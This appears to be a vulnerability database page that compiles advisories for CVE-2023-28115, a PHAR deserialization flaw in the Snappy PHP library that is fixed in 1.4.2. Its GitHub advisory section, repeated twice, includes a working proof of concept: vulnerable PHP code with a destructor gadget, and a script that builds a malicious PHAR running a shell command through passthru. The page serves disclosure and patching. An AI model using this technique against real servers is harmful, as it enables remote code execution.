CVE-2023-28115
Snappy vulnerable to PHAR deserialization, allowing remote code execution
Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.8
Snappy vulnerable to PHAR deserialization, allowing remote code execution
Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.
- Record
CVE-2023-28115- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2023-1015
9.8
Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.
- Record
EUVD-2023-1015- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-gq6w-q6wh-jggc
9.8
PHAR deserialization allowing remote code execution
Description
snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.
Proof of Concept
Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.
<?php
// index.php
// include autoloader
require __DIR__ . '/vendor/autoload.php';
// reference the snappy namespace
use Knp\Snappy\Pdf;
// vulnerable object
class VulnerableClass {
public $fileName;
public $callback;
function __destruct() {
call_user_func($this->callback, $this->fileName);
}
}
$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');
As an attacker, we going to generate the malicious phar using this script.
<?php
// generate_phar.php
class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
// Add a new file in the archive with "text" as its content
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
Then run these command to generate the file
php --define phar.readonly=0 generate_phar.php
Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.
Impact
This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.
Occurences
References
- Record
GHSA-gq6w-q6wh-jggc- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
NVD
9.8
Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.
- Record
CVE-2023-28115- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSV
9.8
Snappy vulnerable to PHAR deserialization, allowing remote code execution
Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.
- Record
CVE-2023-28115- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2023-28115
9.8
Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.
- Record
DEBIAN-CVE-2023-28115- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVGHSA-gq6w-q6wh-jggc
9.8
PHAR deserialization allowing remote code execution
Description
snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.
Proof of Concept
Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.
<?php
// index.php
// include autoloader
require __DIR__ . '/vendor/autoload.php';
// reference the snappy namespace
use Knp\Snappy\Pdf;
// vulnerable object
class VulnerableClass {
public $fileName;
public $callback;
function __destruct() {
call_user_func($this->callback, $this->fileName);
}
}
$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');
As an attacker, we going to generate the malicious phar using this script.
<?php
// generate_phar.php
class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
// Add a new file in the archive with "text" as its content
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
Then run these command to generate the file
php --define phar.readonly=0 generate_phar.php
Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.
Impact
This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.
Occurences
References
- Record
GHSA-gq6w-q6wh-jggc- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2023-28115
9.8
Snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Prior to version 1.4.2, Snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If a user can control the output file from the generateFromHtml() function, it will invoke deserialization. This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. It has been fixed in version 1.4.2.
- Record
UBUNTU-CVE-2023-28115- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
knplabs/knp-snappyPackagist |
before 1.4.2 | 1.4.2 |
civicrmDebian:11 |
All versions, plus listed versions 5.33.2+dfsg1-15.50.1+dfsg1-15.50.3+dfsg1-15.52.2+dfsg1-15.53.0+dfsg1-15.68.1+dfsg1-1 |
None known |
knplabs/knp-snappyPackagist |
before 1.4.2, plus listed versions 0.1.00.1.10.1.20.2.00.2.1 Show 22 moreShow less0.3.00.3.10.3.20.3.30.3.40.40.4.10.4.20.4.3v0.5.0v1.0v1.0.1v1.0.2v1.0.3v1.0.4v1.1.0v1.2.0v1.2.1v1.3.0v1.3.1v1.4.0v1.4.1 |
1.4.2 |
civicrmUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 4.7.1+dfsg-14.7.1+dfsg-24.7.1+dfsg-2ubuntu14.7.1+dfsg-2ubuntu1+esm1 |
None known |
civicrmUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 4.7.23+dfsg-1ubuntu14.7.24+dfsg-1ubuntu14.7.30+dfsg-1ubuntu14.7.30+dfsg-1ubuntu1+esm1 |
None known |
civicrmUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 5.11.0+dfsg-15.18.1+dfsg-15.20.3+dfsg-15.21.0+dfsg-15.21.1+dfsg-15.21.2+dfsg-15.21.2+dfsg-1ubuntu0.1~esm1 |
None known |
civicrmUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 5.33.2+dfsg1-15.33.2+dfsg1-1build15.33.2+dfsg1-1ubuntu15.33.2+dfsg1-1ubuntu1+esm1 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-28115 is a critical vulnerability (CVSS 9.8) in Knplabs Snappy, published March 17, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.76%, the 86th percentile. Fixed in knplabs/knp-snappy 1.4.2.
References
github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc
github.com/KnpLabs/snappy/pull/469
github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6
github.com/KnpLabs/snappy/commit/b66f79334421c26d9c244427963fa2d92980b5d3
github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php
github.com/KnpLabs/snappy/releases/tag/v1.4.2
Show 9 moreShow less
huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e
nvd.nist.gov/vuln/detail/CVE-2023-28115
github.com/FriendsOfPHP/security-advisories/blob/master/knplabs/knp-snappy/CVE-2023-28115.yaml
github.com/advisories/GHSA-gq6w-q6wh-jggc
github.com/CVEProject/cvelistV5/tree/main/cves/2023/28xxx/CVE-2023-28115.json
security-tracker.debian.org/tracker/CVE-2023-28115
github.com/KnpLabs/snappy
ubuntu.com/security/CVE-2023-28115
cve.org/CVERecord?id=CVE-2023-28115